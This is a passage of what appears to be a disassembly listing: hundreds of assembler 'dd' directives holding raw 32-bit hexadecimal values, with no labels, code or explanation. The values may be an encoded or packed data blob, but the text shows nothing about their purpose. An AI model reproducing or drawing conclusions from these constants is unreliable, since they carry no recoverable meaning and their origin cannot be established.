		dd 552DD3FEh, 0D9340019h, 7B816A09h, 0ED28777Eh, 0E503A96Eh
		dd 5E76013Fh, 3520D7FAh, 7B74BF54h, 0DF3B07FDh,	0A08D107Dh
		dd 28BD3F2Eh, 80CB2A3Bh, 0AE4FEB24h, 24A91229h,	3B51064h
		dd 0DF2B8DC6h, 283CFCD8h, 0DDE6D41Ch, 0E803C000h, 141BBD9h
		dd 62C2BD7Ch, 20831D98h, 0EB00EAB3h, 8CFB069Dh,	4DEC7Dh
		dd 6FC56A03h, 67FF6951h, 0BDA71801h, 86B62C14h,	0E46A1670h
		dd 0E4E80009h, 44A224AEh, 3105BDBAh, 0CBDB0107h, 0F9FBB080h
		dd 0E16600FAh, 85B75639h, 0AF005DE8h, 0B2BD334h, 48CAB4h
		dd 0F93C0C20h, 0F3E97CCBh, 808CF503h, 0F07013DBh, 692124h
		dd 4C33A91Ch, 0F101188h, 0F87C7E0Fh, 7DAB40FDh,	0BDCE17h
		dd 0A9F047C1h, 234E9C24h, 4BE2600h, 81664CCh, 30F070Ah
		dd 0B3AE9FFEh, 7CC0AF60h, 8C02A1F5h, 4610DE70h,	6714C1BEh
		dd 147870h, 87C62A01h, 52F13547h, 34978C00h, 90CC8523h
		dd 13040018h, 27A83046h, 40077E58h, 9510011Ch, 0D921FDB0h
		dd 0BCAF0390h, 98D88020h, 4369080Fh, 0C4D2C0FCh, 0FC2428F3h
		dd 7AF701AFh, 0B0E48C44h, 0CDE49D87h, 0B10387BFh, 83DBFF5Bh
		dd 0F00FAAD8h, 24BE022Ch, 1E905CD7h, 3B10C065h,	30C485BFh
		dd 11220107h, 88506B90h, 7F5E08B0h, 1C7FFC42h, 3472CDh
		dd 0FD987193h, 0AF07468Ch, 38519D88h, 79438E00h, 21A60742h
		dd 0B3CF9C0h, 7BB40601h, 0F1E9E849h, 0F2C2BE0Eh, 25620004h
		dd 0A8F61Eh, 4518E869h,	58C4CB1h, 0CE0D8007h, 40BE408Eh
		dd 0C050B372h, 43290069h, 0A1785CB1h, 5D1CCE2Ch, 5100E68Ch
		dd 0DD265E5Ah, 0AB5539D2h, 30147681h, 608C04C0h, 120011F0h
		dd 0AA984ED3h, 4CE9B640h, 9600D7D2h, 97801DCFh,	0FB017204h
		dd 290C0514h, 5DC0F28Bh, 0D62F3010h, 9888A3E8h,	285138h
		dd 42441453h, 0BB42302h, 5729B7C4h, 0A1E66601h,	99E5F0D8h
		dd 0BBB8B00h, 0C8982093h, 40D300FBh, 0B21008E7h, 3504E924h
		dd 8C2B46DEh, 95C05285h, 721E1CDh, 1EB22FC2h, 82BA79h
		dd 710D638h, 8478C337h,	43126CFCh, 7C00CF47h, 0D50D8708h
		dd 3E71EAF4h, 0C18F42ACh, 4E01017h, 455A14EDh, 623094FCh
		dd 2341B6Ah, 63E90205h,	0BB198C6Eh, 44B0D5C0h, 0F8010803h
		dd 0B0FCEFA3h, 1C108FCCh, 1CA2CFh, 676F02D9h, 0C09FD81h
		dd 0E485D3h, 2A4C8A18h,	1F20EA8Dh, 40F608B3h, 420490EFh
		dd 0FF7BFA39h, 1711A100h, 2BA09DC2h, 8AD01C3Bh,	0F6E4C1AAh
		dd 0E0877129h, 0B3006609h, 0B40B794h, 7D04C55h,	6122E02Bh
		dd 856DA39Dh, 0E2B5ADD0h, 700E1000h, 0C0738A2h,	0A0E50045h
		dd 0B34EA61Ah, 170E232Ch, 0E0330981h, 0BEEA44C1h, 845801A4h
		dd 0BF10879Bh, 0A9A940A2h, 4B2EDE72h, 0D9895611h, 60C10744h
		dd 0A9F6BBA3h, 9A20AE09h, 70020728h, 51BEBFBCh,	401FB42Ah
		dd 7EC604A4h, 61289B1Eh, 110BC340h, 993D143h, 27FAEF41h
		dd 83488E82h, 1641A1E2h, 1BCEFC5Ch, 30850400h, 8C0AD4EFh
		dd 7FF9083h, 1D100518h,	0AD21F088h, 39E024F9h, 46D4D00Fh
		dd 0C4A240D9h, 18874C6h, 9914E5CFh, 0E084E6DBh,	0E003D1F1h
		dd 0F43C200Ah, 1FA2A07Ch, 0AF103F21h, 65000838h, 0C440AC56h
		dd 0B5714331h, 44E64101h, 86F42922h, 0B9D15F4h,	0EE5BCC0Ch
		dd 2063F00h, 0B924D249h, 97000185h, 435F2AFFh, 0BF60041h
		dd 4AB278E9h, 0A002087h, 0C9D2682Eh, 0F223A770h, 0C59094h
		dd 15D01747h
		dd 0FC889ECh, 0A2111013h, 0A0398E00h, 0E03093h,	0D27E6AE9h
		dd 90E804F0h, 9AD8C400h, 280B8115h, 0C3E00055h,	65405B59h
		dd 8C1FA5A1h, 0C40D544h, 0EACC9280h, 0F71988Fh,	0F4E4B304h
		dd 7D818EBFh, 7EA1EFA9h, 31D1B127h, 205DCD3Bh, 0A0185A3h
		dd 1C109E42h, 0AE30B8C5h, 0B07E744Fh, 2D233FF1h, 0D361E204h
		dd 0E064C039h, 463F2CE6h, 42900FFEh, 0F959A280h, 1ABE060h
		dd 8CAC3AA3h, 34B2B380h, 8D2A107h, 96044E00h, 9017A832h
		dd 1F82EE10h, 82F7537Eh, 0ED4254B9h, 0F235C968h, 30BD3A00h
		dd 8987B41Ch, 0E5D4000Ch, 0D2BB8211h, 0B0092AD7h, 0B23F8Ch
		dd 90C052BDh, 0D39100C2h, 0BAEB8637h, 260ED7C6h, 0E0F8332Dh
		dd 0C78C9B61h, 0B7D600E5h, 0B6FEF463h, 0E40E2FB4h, 0C1A74A74h
		dd 2E4051E2h, 0F91BF4h,	641545Ah, 7CFD5852h, 0A64ABE05h
		dd 0FAFC3Fh, 11A7B4EBh,	0BBE40B20h, 0FA44D400h,	2DBEA4FEh
		dd 921600EEh, 7F2A85F8h, 0F5504890h, 0D7FA4485h, 0B901FA71h
		dd 78EA10F6h, 72FCFEABh, 0AE6E9h, 122B29E7h, 60C4F108h
		dd 0BCE87300h, 4C46DA9Dh, 3F97F51h, 85D53A97h, 0CB8238Ch
		dd 0C800EACAh, 4A1FE97Dh, 1F4C37C7h, 4E1411F8h,	0EA832BFAh
		dd 0D7D07881h, 100F598Ch, 67AE5087h, 49001E97h,	3F8A5CD5h
		dd 0EB302BFBh, 528CDF2Ah, 80D7143Ch, 8A2B5A3h, 58D59502h
		dd 17BD71Fh, 7E2B3CCh, 0DD6C1904h, 1CC8F842h, 0F23EF7FAh
		dd 76173E09h, 88938750h, 0E6EBF600h, 0CED7A742h, 0DE20691h
		dd 52D63C02h, 7A84280Eh, 800E83B6h, 0E487D866h,	0A304002Ch
		dd 810F38B4h, 8EDF1B11h, 230B280h, 71CB5CEh, 8D1A0640h
		dd 59A08F88h, 46CD1834h, 720C81Dh, 8D001913h, 1709403Ch
		dd 0F2D73B43h, 0B7511081h, 0BEE2AE91h, 0F8138014h, 423B33B4h
		dd 647E01A2h, 0B86D6F6Ch, 0BA8FF0C8h, 307286E4h, 9223F902h
		dd 60D0EA4Eh, 8CC9D6h, 2E1037A9h, 0EF4AAD6Dh, 0D7BDC400h
		dd 0BE76FA22h, 0C1EA07CFh, 0C0346437h, 508B20Dh, 0FB2F180Eh
		dd 9E6C4027h, 0A54AFFh,	6DB69773h, 481A0D40h, 0B807D800h
		dd 0F2A29DFEh, 12A30017h, 2F283791h, 0B0FCD6Ch,	58D85380h
		dd 0A0A34EC0h, 0A4E218B8h, 469900C1h, 0CA9DC4D8h, 85A03C62h
		dd 99A11907h, 0D4D9F4D0h, 0C374C00h, 9ECB1393h,	0A0ADFCAh
		dd 0EA21E30h, 0F8E03321h, 3887A42Ah, 0B688472Ch, 7EDF651Eh
		dd 0CF0561DFh, 5C81E551h, 9BF0ACC4h, 0B0110013h, 0F21488CBh
		dd 623EECC5h, 814DBEE3h, 0C937E794h, 0B1DC3C08h, 45FA3EF8h
		dd 386412h, 0FCDA4642h,	0A54C433Dh, 0DF10709h, 0FB17701h
		dd 38EC74C4h, 7C8B020h,	6214230Ch, 1CE5E0BFh, 1EE24EA7h
		dd 0A5B4E904h, 0A3C0FBECh, 0C0E3CCC6h, 15490BCEh, 0F201B10Fh
		dd 0D32472DAh, 4FEC5AB7h, 2CFE2Eh, 0C4CCF988h, 0D613080Dh
		dd 953B9D01h, 0F234675Ch, 4E0360h, 0CEA71FDBh, 85719C1Dh
		dd 0BB8DE805h, 98063CCAh, 3228025h, 776E2713h, 0A6C8E802h
		dd 3300E90Ch, 0BE58C95Bh, 0F9485DBh, 0B3A1FF3Ch, 46C508E0h
		dd 0E004CCDh, 0DB4AF1ACh, 1F5EFA2Dh, 40F810FFh,	0C48773AEh
		dd 4400040Fh, 8233FDCh,	0FBC8C42h, 78C21259h, 1C941F60h
		dd 0A472A7FFh, 81086809h, 0BD9D0718h, 943FA2F0h, 0B1213FFEh
		dd 0CEC303FEh, 0A9DFF9C9h, 0DCEFE2D8h, 18471605h, 0C0AEF684h
		dd 6A1A04A3h, 0F1342100h, 0DD4C0105h, 2CC82E0Fh, 85BD015Dh
		dd 0EC210C11h, 0A7714F9h, 0A4A87D01h, 0BBA135B2h, 71838F0h
		dd 0B0FF28B5h, 0C211E042h, 54888CFh, 0EEB100EAh, 0EBF209DDh
		dd 0DAD8030Bh, 0FA9424A8h, 2EBCD007h, 0FED08F1Bh, 0B817F9h
		dd 0B03DEB97h, 712F374Dh, 0DE4CAF00h, 0C2E70722h, 0E6F80023h
		dd 0BEE5C79h, 370034F5h, 811009CAh, 3AF0B9DEh, 7900F923h
		dd 0D097E882h, 68485B8Ch, 1DA500E1h, 0DECA881Eh, 7B910F4Fh
		dd 24A0B609h, 298C47E9h, 54A43724h, 12080E00h, 0E601D9h
		dd 0A9ED2116h, 2C7920C4h, 22F93109h, 0A0538913h, 0DF42623Ch
		dd 5A1048BCh, 9A11080Ch, 4E00AA10h, 26E929D1h, 1F8A9313h
		dd 9EDD8444h, 0C910008Bh, 3F0CE2AAh, 0E003A390h, 1CAB825Bh
		dd 9F019547h, 3CE8C23Eh, 8006569Ch, 21AFE078h, 0AD765838h
		dd 0BDE28D00h, 490D71D2h, 97134C34h, 58E0F0C0h,	199AABDCh
		dd 3900DF90h, 2CE127C4h, 0EAC4313h, 0FBF20888h,	0A3C0D2E0h
		dd 2E00FD4Eh, 0E46FA953h, 22CFEEh, 3EE18417h, 323F293Ch
		dd 0CB6EAE00h, 0B8D30804h, 174B8F5h, 0B7E1B00Bh, 60332A3Bh
		dd 1201E883h, 7204BFF8h, 1BD00506h, 5CF6006Ch, 4AB73BE1h
		dd 0E8006133h, 6E75ACEBh, 0FB4ED472h, 29B330h, 981CB2E2h
		dd 5D1EE933h, 4B6EAD01h, 6F4A4CCAh, 0FEE60B7Bh,	8301F580h
		dd 38002DE2h, 11FF5AADh, 9088D496h, 0B17DEFh, 9D28467Eh
		dd 0F2A4C010h, 0F5A1361Fh, 38290B00h, 0EA42FFh,	19934ADh
		dd 0A5E32858h, 0C200B9F6h, 69AE1D84h, 0EA2FD27h, 0D101F0Ch
		dd 0F8E37D40h, 2002577Fh, 0D1958EFFh, 0AF184188h, 2C7024F7h
		dd 29C100AEh, 6C1504F2h, 142F43Fh, 0E95018C8h, 13208DAEh
		dd 62F023h, 4216E427h, 0AF1C843Ch, 0F736900h, 5338E7F4h
		dd 0C0A24BFFh, 8215E496h, 244C8900h, 0BCC2F408h, 70740127h
		dd 4B5C7C3Dh, 1822E814h, 571F5E00h, 0E647FC26h,	50A200D2h
		dd 0C6083145h, 4E8C4D6h, 3F50E4F8h, 91263382h, 270BA3EEh
		dd 48C800C3h, 7E525F1h,	4C592D2Eh, 1A24E033h, 0D20031B0h
		dd 585067D1h, 901485E5h, 0E9C40009h, 3064124Ch,	0AB1E68B8h
		dd 2F5D3353h, 4A59ACCCh, 0FE5A00B9h, 2CD7C417h,	4D7CDD2Dh
		dd 4E7C2F7Ch, 8025103Eh, 0A159E2A4h, 984BE623h,	242F862h
		dd 2ECFB118h, 0C6405662h, 0FF1F3452h, 691F4B84h, 29906F03h
		dd 7F1D018h, 98E6F601h,	0F03C165Fh, 0FD9D0BC3h,	1F6E4D0Fh
		dd 24A120C0h, 2E0066C5h, 2DAC22B3h, 0FFF94CEh, 49B21723h
		dd 554741C0h, 633EE75Bh, 4A089FABh, 89DCD243h, 0C72DDB72h
		dd 0C4074B0h, 6EEB60ABh, 0D9C2F030h, 3DC18C48h,	353983E4h
		dd 0D846F2B8h, 0EE1820h, 5C4D27D1h, 251C48B5h, 1162A10Eh
		dd 2C57C0B3h, 3B5E37h, 0E85C136Dh, 4810358Ah, 0C3FC2B8h
		dd 5BD183BAh, 0B51C57F4h, 0BFA32280h, 48F22494h, 0F3223057h
		dd 0F13B8979h, 8B1300E8h, 5B45DB05h, 5F09024h, 38507BF9h
		dd 6226C3E9h, 3560B4DAh, 2B059714h, 486F3917h, 0E85BD783h
		dd 328230Eh, 0F981C5CBh, 1A052238h, 0F20AE9D2h,	70933C8h
		dd 18F1EA46h, 0D9012BDCh, 0F1561527h, 1316F04Bh, 0B5372100h
		dd 3A7930C4h, 12B21F2Ah, 0F41A682h, 88C3436Eh, 5DFBF210h
		dd 7A94F998h, 0FF421B8h, 0EA13DDF8h, 800073AFh,	0EB16110Dh
		dd 4E2B3EBCh, 490BA6CCh, 0CC03A513h, 0B8F05EC4h, 0F300F0A0h
		dd 6D40703Eh, 7B64253h,	0FCDD6510h, 0CAEB7091h,	69053314h
		dd 9809A25Bh, 56CB6B80h, 0A4D7CE7h, 10A02B2Eh, 0CFC04E1h
		dd 2D68C8A6h, 0C7CC2C00h, 0EC1B0960h, 5AA01273h, 1F8F01A1h
		dd 0E47A2EB7h, 8FFC5D16h, 0EC56682Ch, 8447521Fh, 0FC20DE64h
		dd 6490A8D3h, 1FA1224Bh, 0B89D979Fh, 0A774ABC7h, 490EC491h
		dd 5A1E60BDh, 2B25439Ch, 9C0C7CDh, 6D1FED19h, 0C2006A3Ah
		dd 4034B81Eh, 8D130F0Dh, 71E35C89h, 1E3FEAA1h, 63108351h
		dd 0D81F97DFh, 0FAED8F0Ah, 1E080059h, 0B2669634h, 2861A83Ah
		dd 0ED4B0D7Bh, 44A64C4h, 0CE2970FEh, 167CD085h,	0E0EDFCEEh
		dd 0B9071C09h, 5AD09F7Bh
		dd 347480BBh, 0F84FA1FEh, 43610708h, 0E08DF1E0h, 91AA683Fh
		dd 79015C79h, 5108C1B7h, 0BDF46A7Bh, 6F183ACCh,	389D8680h
		dd 9FEEF2A6h, 0A1FEAAE2h, 10C6B900h, 4F76436Fh,	7D26E871h
		dd 0AA3E3EEFh, 0E7BA1E00h, 86AD6F3Ch, 0F00BB900h, 34B5EF69h
		dd 6D2D00BDh, 0D9965E1h, 6E01E4E9h, 0A0A84B3Dh,	0DE60EF49h
		dd 137FCA4h, 521B102Ch,	214F9E7Bh, 3C59F812h, 0FC8CE9E7h
		dd 4008006h, 0FAE287F0h, 0E2D0D6BAh, 0D38900E9h, 84B2A36Eh
		dd 8F00F033h, 0BB31C413h, 881438h, 0A58552C0h, 7C428CC5h
		dd 7C6BF048h, 87E28024h, 52F74400h, 922282Dh, 0F049B3A8h
		dd 0E2B7B103h, 0C1A78CD0h, 7B09C5B0h, 8F7E2Ah, 8834ACCDh
		dd 5C85F665h, 14007990h, 430DFCF1h, 0A21F9EBCh,	64C49C21h
		dd 0E3C0040Ch, 0FC44173Fh, 860904B6h, 806FD3E9h, 8F899906h
		dd 1336F100h, 65E39327h, 0EF0248FCh, 0FE7B5400h, 0C624D4A6h
		dd 0D913F116h, 3837BD00h, 0D4189h, 5F096F7Bh, 687E5A99h
		dd 800006B8h, 428FF21Ch, 0F5DD255h, 4A259A9Ch, 0E991C743h
		dd 0D07E3580h, 9EEE3403h, 0C72FD433h, 9F5B96F0h, 0D1F001C1h
		dd 10B26E7Fh, 38B7F0A9h, 0E4A8C200h, 64891555h,	2B7114h
		dd 2051D7F6h, 0D35A2C08h, 6FA0CE2Eh, 41A9F307h,	0ED155E0h
		dd 0ACD93B4Ch, 8B0F4B3Eh, 80A15061h, 6592D243h,	0BE8DF32h
		dd 3CFA082Bh, 0C5E52D0Fh, 5E34A787h, 21062090h,	7EF34CCCh
		dd 48030800h, 0F8F2AED4h, 94D79F00h, 2B12D63Fh,	88A91DD2h
		dd 0F44240B8h, 56080CC8h, 0F172D307h, 606F50FAh, 46BAD6A5h
		dd 0E6550012h, 23AB5FACh, 0B00C42Ch, 2EF49D04h,	0A43C30h
		dd 0CE034C7Fh, 0C941062h, 9F508800h, 12D71114h,	0F2570089h
		dd 54521F1Dh, 3307E3A5h, 190ACAA3h, 12504AE0h, 3A580991h
		dd 0F802108h, 47E4A542h, 97487E01h, 0F08C638Eh,	70282E81h
		dd 0F4EA0658h, 0C4008312h, 849CBD1Ch, 70FE14B8h, 51530030h
		dd 0B31FC89h, 3D0083C9h, 646D43Ch, 177D04h, 868A164Eh
		dd 7536EDE0h, 3890F00h,	41AEC383h, 67F93D8Fh, 0F81FEB85h
		dd 0A593802Fh, 0F0001312h, 5A76D0BFh, 95FA80h, 431CAE52h
		dd 0E0D933F4h, 1C80600h, 0ABCAD1C0h, 0D750024h,	184EC636h
		dd 27001653h, 6C38FFECh, 7C82FEB8h, 8A13005Dh, 0EA704A48h
		dd 0D726812h, 5900A2EAh, 42CE4DB6h, 3050CE6h, 1CDA0849h
		dd 20D85B14h, 76002734h, 402D4258h, 0C1F041h, 3905E624h
		dd 5312EF97h, 0FB005DECh, 4945D733h, 15C940Fh, 810834B0h
		dd 0F025BFC6h, 24000901h, 28007F2h, 1EE231h, 0D6D3E30Bh
		dd 32A221E6h, 907C4A00h, 0B833F934h, 0F86A1E42h, 0C910170h
		dd 6FDE1A9Fh, 16E06E00h, 28E7EDh, 0FB5230F3h, 8DBC6B2Eh
		dd 0AA77DE0Fh, 10476068h, 3956CE2Ah, 1F764D5h, 9A531EE7h
		dd 6011F121h, 6A0434A5h, 543AA074h, 0A18E4BC1h,	42F3C8h
		dd 1E0FE368h, 84F2E8B2h, 38FA3000h, 9C2351FBh, 321100AAh
		dd 8E501847h, 0E1EEA1F1h, 4A8F0700h, 46D6FCCEh,	20BC001Ch
		dd 6FCCFB87h, 0D51E28C8h, 23002C90h, 34435E30h,	8D3800FCh
		dd 0B21A3CF9h, 64001F40h, 48C86B44h, 244C917Fh,	9223BFh
		dd 55AD5442h, 0C60372F8h, 0CFA0B58h, 0AA5A98A5h, 0E5C800F6h
		dd 6F32255Ch, 84B853F8h, 6029BE03h, 0F0F6A92Eh,	4C96F0AAh
		dd 363F7FC2h, 0F9E2F483h, 68C8BE4Eh, 0F000522Eh, 598D6CE8h
		dd 0B70F70h, 7890DD28h,	58877CFBh, 0BF24B401h, 0F3A7CCF2h
		dd 726A21ECh, 5DF60384h, 1C8862B2h, 0F4D3F9E9h,	0CA3E8C72h
		dd 0BE32BEFCh, 0FFA58090h, 0A21B94D1h, 44350098h, 0A0887A9Ch
		dd 0A40310D5h, 11425FBAh, 0F7DCC8E9h, 84670E92h, 0FD40A835h
		dd 0AB05487Bh, 7DDF5D12h, 0E8CC00AFh, 3B0CDBF5h, 2DAC4400h
		dd 6FE60B27h, 331F0BEh,	1CDD2E72h, 0F1A887B0h, 0EF00AE5Dh
		dd 60B5412Ah, 3CF059C6h, 280047FBh, 0CB1B4D72h,	0A84803DCh
		dd 0A4E9036Eh, 0F004255Fh, 316B8ECh, 0F6542191h, 0BCB185DDh
		dd 0DCB771ABh, 7F01C0C8h, 0E4DE4F88h, 48F7AC4h,	1DA032F1h
		dd 1660C5E2h, 0ACCC431Dh, 81DE42CFh, 3788D5D0h,	3FD43280h
		dd 72DF70C4h, 623DD800h, 0DC19F29Bh, 0E6F1010Eh, 0E0210B61h
		dd 0D003CDD6h, 6A00E464h, 77DF58C4h, 1FF63FA2h,	8091621Fh
		dd 0B11EEC39h, 0C58F3BCh, 7780BCAh, 0F4870063h,	2C4ABAh
		dd 886F883h, 0CA62C1D6h, 0FC957703h, 0F08BD235h, 1D0105E7h
		dd 0C3A33174h, 3994DAEDh, 575DD797h, 2EA5C208h,	10CCBE0h
		dd 10C46B1Dh, 14C83F02h, 0AA34C0F5h, 0FC1C0221h, 0C6E92046h
		dd 828F584h, 0FE30002Ch, 46743423h, 3CA83800h, 1A40518Fh
		dd 35441FA2h, 0B4098F12h, 0BB7374E0h, 0DE005020h, 11C2FB0Dh
		dd 5B5458h, 2C7B1BEBh, 48C481D8h, 2879BD00h, 7FC8FCCBh
		dd 8B1C09CCh, 0DDD402h,	803FB9B4h, 88FC31h, 86E0B54h, 0EA7585C1h
		dd 0D16AFE00h, 24483266h, 0E27F00E7h, 15FF02ECh, 42756338h
		dd 741F1A7Ah, 840111DCh, 0E4BAC766h, 1E90ECh, 0FF5014E3h
		dd 0C1E0166Fh, 3205C000h, 49420902h, 7DF60075h,	0F1FF1B0Eh
		dd 0C01F8330h, 0D2C00A80h, 0E3672674h, 21230054h, 0DB310353h
		dd 302F1A8Ah, 16DD4C3h,	332F6225h, 0AF1870FBh, 5F5CC600h
		dd 305BEB29h, 82960136h, 7E908173h, 3B8ECE3h, 3C01AF98h
		dd 0C6BFC241h, 7DC06BCh, 9C70038h, 0CC5C105h, 1717E29h
		dd 87C0CC3Bh, 0CD410D80h, 7C10F60h, 0CE810ECFh,	0AC30E40h
		dd 0CB90CA87h, 11E0B80h, 9DDC0C9h, 0C84108C7h, 18F7D8F7h
		dd 0D9671947h, 0DBC11B00h, 0DA1C2881h, 21E67EBh, 0DF47DEh
		dd 0C0DD011Fh, 71881D5Ch, 1DC4138h, 81D4C114h, 15C040D5h
		dd 0C0D70001h, 41168017h, 0D2E4D678h, 13EC12E8h, 2D37000h
		dd 81D1C111h, 0E0400CD0h, 309AF05Fh, 0F141F5A0h, 0C13033E0h
		dd 40F28AF3h, 361E3932h, 0F738F63Ah, 0F5013702h, 340135C0h
		dd 3CC0F441h, 81FC10C1h, 13D04FDh, 2083C0FFh, 0FE8A393Eh
		dd 3A3BFA3Ah, 0FB703B00h, 0F9C13901h, 40F8810Eh, 8128CE38h
		dd 41E677D9h, 0EBC829FDh, 802B07C0h, 25EAE12Ah,	1F0FAEEEh
		dd 0C0EF0F2Fh, 0ED0BC12Dh, 78EC6381h, 24DBE456h, 41259A00h
		dd 12713E5h, 0E6810084h, 22C12640h, 0E10AF631h,	0E723E0E3h
		dd 21C0033Bh, 0D7412080h, 60F7A0D7h, 0A1D761B7h, 0EF0063E5h
		dd 40A281A3h, 97762h, 0A787A629h, 0A5016780h, 64DC6581h
		dd 0EA47041h, 81ACC16Ch, 6D40AD00h, 0C001AF01h,	6E1E806Fh
		dd 0AAD1AE41h, 6BE06AD9h, 0AB701Ch, 81A9C169h, 687040A8h
		dd 0B8027867h, 7900B947h, 14C0BB01h, 0AA7A807Bh, 0BEBFBA3Fh
		dd 7F0E7EBBh, 7D00BF70h, 0BC81BDC1h, 0DE7C4030h, 2674C0B4h
		dd 3BE17580h, 0B7CE7730h, 403BB681h, 87720E76h,	80B340B2h
		dd 81B10173h, 4170DC71h, 5010B070h, 910090C1h, 93015140h
		dd 528053C0h, 76927441h, 1C567896h, 1971C57h, 8195C155h
		dd 54CD4094h, 0C0019C01h, 415D805Ch, 5FE49D70h,	819F07C1h
		dd 615E409Eh, 0C89AE15Ah, 5B60E09Bh, 59C099BEh,	41581F80h
		dd 0DD88DF98h, 9F491D48h, 0CE4B9889h, 8A1D818Bh, 4E874A40h
		dd 8F208E87h, 40014F80h, 4CEE4D8Dh, 88C4138h, 0B84C144h
		dd 0B1814085h, 8747C087h, 864146CEh, 42678247h,	831C4380h
		dd 0C19C003Dh, 38EC6681h, 7C07A8DBh, 0E389520Fh, 9CFCE410h
		dd 0C158388Bh, 104359Dh, 899D505Dh, 0DFA03016h,	0C21E927Ch
		dd 204099B2h
		dd 904210Ah, 5F531D0Eh,	0A20FC0C8h, 36E0882Ch, 5B013B18h
		dd 5ADC3Eh, 0C8E36E59h,	410EA582h, 3446161Dh, 3E0EACD8h
		dd 3EE42h, 2FE83D73h, 0A32827FEh, 7EAFEA16h, 0BAD91Fh
		dd 76D9C716h, 31EC13h, 1422C3EEh, 0C80C2038h, 16EE8C98h
		dd 0B3E41000h, 0F4154CF0h, 30F64Bh, 0A101B247h,	0E8217061h
		dd 6E1BBB1Eh, 0D63A9680h, 63CF2Ch, 56FF3083h, 0AD0F4B04h
		dd 6636E900h, 0E828141Ah, 5E1E00EBh, 0D060EEC6h, 51005652h
		dd 8EBAFC02h, 9C3B24h, 4D17C877h, 30AC0B0Ch, 0F5B0C200h
		dd 6738B82h, 9A8C0060h,	0C1A707F3h, 7503C8FEh, 0C9094981h
		dd 0DF6A9AD7h, 647FF8E0h, 69D64400h, 0FF9C181Fh, 75500079h
		dd 0EE10595Dh, 0AC074514h, 2FA83D05h, 25447EF0h, 4F61015Eh
		dd 0C86FF488h, 0FC0680F8h, 1F75F24Dh, 0CCD000D5h, 3B67AC55h
		dd 0A6007306h, 16C60FFh, 0E6E82B70h, 467B00D0h,	570CF8C9h
		dd 72075002h, 8DB38615h, 6FE82730h, 0EA42588Fh,	65315700h
		dd 0DB85D873h, 110076FCh, 0D13BCC5Eh, 2ED25274h, 0E77D6h
		dd 758D5713h, 0EB0002AEh, 1904B998h, 95F95Fh, 6A7A1E46h
		dd 0AE1F42B0h, 3D01C978h, 47CB80DFh, 76D0A201h,	2516001Dh
		dd 0C0FEB005h, 8C0E5567h, 0C0AA9854h, 5A38CAE9h, 8B28031Dh
		dd 0D3CCA396h, 29A9B388h, 80EC0C39h, 1E202E6Dh,	0E8D5F8h
		dd 99FFD271h, 88B83B75h, 50EAC702h, 0E37E5FFEh,	42588802h
		dd 0BD41006Ch, 2A3D7145h, 200DEE2h, 23D6F7F3h, 275DF2h
		dd 3920B22h, 767E1C6h, 40C3D500h, 0C28104FFh, 0D7720095h
		dd 0F8F1341Bh, 0AF00A438h, 0D339D05Bh, 7F9475C1h, 4D2E0390h
		dd 5C258908h, 71F246F0h, 0A5F34B00h, 0CE398E91h, 112E00C1h
		dd 82F7CAABh, 0C3008130h, 65C9C455h, 0EF039F1h,	0CFF9BAB0h
		dd 0F1E7DEC7h, 0D8D95616h, 5071025h, 6F4AC15Ch,	3A144143h
		dd 0F01EBACAh, 18A886F7h, 0B33C4E82h, 1C0374A5h, 0AC25AE12h
		dd 2063C72Eh, 0A4102005h, 950F24EEh, 0FD299D71h, 0AB042800h
		dd 0FF4B9689h, 0C89BEF71h, 30B3718Fh, 10878021h, 52801E34h
		dd 938013Ah, 97791257h,	0F3C10E0h, 9472B84Ah, 0DE041DFDh
		dd 8A6A0005h, 0FA9553F2h, 448C64DEh, 1F22A618h,	8FA5F163h
		dd 9C362F9h, 92072C11h,	0A9F35C88h, 0E858FBD3h,	0C3E1840Eh
		dd 2856901Ah, 0C3A4F8F0h, 141EEB67h, 2305EAF3h,	47914EDAh
		dd 40443C20h, 0CA106141h, 86164839h, 524A1CEh, 6F315314h
		dd 20C897Ah, 48202523h,	0C3001CBCh, 0E9880534h,	43AD0677h
		dd 4108A28Ch, 811C0D44h, 2301206h, 0C901FF64h, 90E04D09h
		dd 33F200F7h, 0F350F172h, 84000469h, 0B22A2041h, 296EECh
		dd 1263F04Ah, 0AAB0740Bh, 0B9E1C91Fh, 6B002812h, 38201042h
		dd 0D6591F95h, 0A1880336h, 13B01757h, 0CA7EAC4Ah, 1003A2F0h
		dd 0BF925509h, 0BAAAC1B4h, 0AD3F90BBh, 2C2864FEh, 84A403A9h
		dd 9D6A1F1Dh, 0BD70D95Ah, 0C2D9093h, 18598832h,	90067D24h
		dd 713F8CE3h, 3044802Bh, 6625AB12h, 0C83CFE68h,	8905B4Bh
		dd 0A5185020h, 4576D4C4h, 0BCB0424h, 0C1F15ECAh, 708806A1h
		dd 3A3D56ABh, 313F46h, 165BF362h, 1E7F740Ah, 5F2FC8AAh
		dd 0F08E80D9h, 110F5D42h, 1C041433h, 0F2D4D324h, 5F9C808Dh
		dd 63E61559h, 78189C92h, 0D230CCAh, 8921BDAFh, 0E2F89502h
		dd 12E6C304h, 0B8F9BCF7h, 0EB51F0B4h, 0C43E2B7Fh, 25AA8C3Ch
		dd 80184AE0h, 3488D544h, 0CAA8204Ah, 7F2E148h, 57BEA22Ah
		dd 54C221F9h, 0F1FC4AB3h, 89B0C308h, 91FC5EA8h,	9E9D51E0h
		dd 1804168h, 4A3CB06h, 84E07A9h, 500C56E0h, 0F4B8745Dh
		dd 430D6800h, 0D0388817h, 7685EA14h, 0DCEE0044h, 0C91621C0h
		dd 0FF7C4674h, 3EEA5E2Eh, 1C1F700h, 741CD9Eh, 0D1048A49h
		dd 300A7332h, 3BF90FC3h, 3CE9E827h, 4002D907h, 66D00D18h
		dd 74048B1Dh, 1E331C4Eh, 80899F4Ah, 83A52E4Fh, 203E0C66h
		dd 8A61808Eh, 0F2EB8F1Ch, 0EE881E45h, 44470399h, 9CF0E169h
		dd 483AA63Bh, 0A9218057h, 0B0683CE4h, 647585h, 0B80A7320h
		dd 55357469h, 0C305E901h, 0B448F87Eh, 47CCEC40h, 0A95A00C5h
		dd 9E159204h, 8B308D5Bh, 123BB222h, 95D300BCh, 5083440Dh
		dd 0FE03380Fh, 17045257h, 8908A314h, 0F7F8F070h, 119A00CAh
		dd 275C08Bh, 15392B94h,	9E059CA9h, 0FE081380h, 749CB254h
		dd 61800E1h, 2F23B459h,	0FA03A25Ch, 6445A88Bh, 71C59088h
		dd 804D01C3h, 8F26A69h,	172DE4D3h, 5D277005h, 0F1ACBCB4h
		dd 2B157300h, 0CBF956FBh, 0A4E37A00h, 1C071B12h, 0DE98004Eh
		dd 0C8EB722Ah, 7300CF26h, 0D0AC795Eh, 0F7D51A2h, 1AA42BDBh
